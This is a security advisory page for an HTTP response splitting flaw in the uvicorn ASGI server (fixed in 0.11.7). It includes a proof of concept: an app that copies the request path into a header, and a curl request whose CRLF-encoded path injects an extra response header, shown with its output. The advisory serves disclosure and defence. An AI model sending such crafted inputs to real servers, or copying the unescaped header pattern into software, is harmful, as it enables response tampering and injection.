HTTP Response Splitting Affecting uvicorn package, versions [,0.11.7)


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.09% (40th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PYTHON-UVICORN-570471
  • published 20 Jul 2020
  • disclosed 10 Jul 2020
  • credit Everardo Padilla Saca

How to fix?

Upgrade uvicorn to version 0.11.7 or higher.

Overview

uvicorn is a lightning-fast ASGI server.

Affected versions of this package are vulnerable to HTTP Response Splitting. Uvicorn's implementation of the HTTP protocol for the httptools parser is vulnerable to HTTP response splitting. CRLF sequences are not escaped in the value of HTTP headers. Attackers can exploit this to add arbitrary headers to HTTP responses, or even return an arbitrary response body, whenever crafted input is used to construct HTTP headers.

PoC

async def app(scope, receive, send):
    assert scope['type'] == 'http'
    await send({
        'type': 'http.response.start',
        'status': 200,
        'headers': [
            [b'Content-Type', b'text/plain'],
            [b'Referer', scope['path'].encode()],
        ]
    })  
    await send({
        'type': 'http.response.body',
        'body': b'Hello, world!',
    })

uvicorn poc-3:app --port 9999 --http httptools

To exploit this vulnerability, make a GET request with a crafted URL path like so:

curl -v 'http://localhost:9999/foo%0d%0abar:%20baz'

Uvicorn will return an additional HTTP header "bar" with the value "baz":

  • Trying 127.0.0.1...
  • Connected to localhost (127.0.0.1) port 9999 (#0) > GET /foo%0d%0abar:%20baz HTTP/1.1 > Host: localhost:9999 > User-Agent: curl/7.58.0 > Accept: / >

< HTTP/1.1 200 OK < date: Sun, 26 Apr 2020 22:38:18 GMT < server: uvicorn < content-type: text/plain < referer: /foo < bar: baz < transfer-encoding: chunked <

References

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
5.3 medium
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    None
  • Integrity (I)
    Low
  • Availability (A)
    None
Expand this section

NVD

5.3 medium